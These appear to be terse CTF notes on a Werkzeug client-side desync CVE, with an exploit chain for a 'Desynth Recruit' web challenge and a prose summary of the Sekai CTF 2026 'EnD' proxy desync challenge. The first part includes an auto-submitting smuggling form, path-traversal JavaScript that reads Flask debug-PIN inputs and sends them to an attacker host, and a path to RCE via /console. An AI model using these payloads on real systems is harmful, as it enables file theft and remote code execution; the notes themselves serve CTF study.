CVE Wergzeug 2.0.1 & 2.1.1

https://mizu.re/post/abusing-client-side-desync-on-werkzeug

Desynth Recruit - web

  1. Open Redirect => http://127.0.0.1:1337/go?to=//webhook.site
  2. Client Side Desync to XSS the bot https://mizu.re/post/abusing-client-side-desync-on-werkzeug
<form id="x" action="<http://127.0.0.1:1337/>" method="POST" enctype="text/plain"><textarea name="GET <http://xpl.xanhacks.xyz:4444> HTTP/1.1Foo: x">Mizu</textarea><button type="submit">CLICK ME</button></form><script>x.submit()
</script>
  1. Read and exiltrate file used for generate Flask debug pin, ex:
var request = new XMLHttpRequest();request.open('GET', '/api/ipc_download?file=../../../../../proc/sys/kernel/random/boot_id', false);request.send();var flag = request.responseText;window.location.href = "<http://xpl.xanhacks.xyz:4444?flag=>" + flag;
  1. Generate PIN + RCE via /console

SEETF Client side desync

attack

https://github.com/zeyu2001/My-CTF-Challenges/tree/main/SEETF-2023/now-you-c-me

EnD — sec-fetch-dest: script → Content-Length: 0 response-splitting desync → proxy XSS → Range (206/416) prefix oracle

Event Name Sekai CTF 2026
GitHub URL https://github.com/ZeyadZonkorany/MY-CTF-CHALLENGES/tree/main/Sekai CTF 2026/EnD
Challenge Name EnD

Setup. 3 services in one net namespace: Node proxy:3000 (reverse proxy /view/<name>/…, strict CSP script-src 'self', /admin shows API_KEY, admin-cookie gated), Flask api:9090 (holds OAUTH_SECRET=flag, only reachable from the bot), Puppeteer bot (has admin cookie for the proxy, launches Chrome M126 with --unsafely-treat-insecure-origin-as-secure → proxy/attacker origins become secure contexts, and --disable-popup-blocking). Goal: read the flag from api /messages/search, which needs the API_KEY only visible on /admin.

Root cause / chain.

  1. Proxy "blocks scripts" by rewriting Content-Length: 0 for any Sec-Fetch-Dest: script response, but still proxyRes.pipe(res) the full upstream body → the extra bytes are a smuggled HTTP response (client-side response desync). Attacker registers a public page (/add), the proxied page ships many <script> tags; pool-exhaustion (hang most requests, 6-conn cap) forces a queued script onto the poisoned keep-alive connection which parses the smuggled application/javascript and executes same-origin on the proxy (defeating script-src 'self').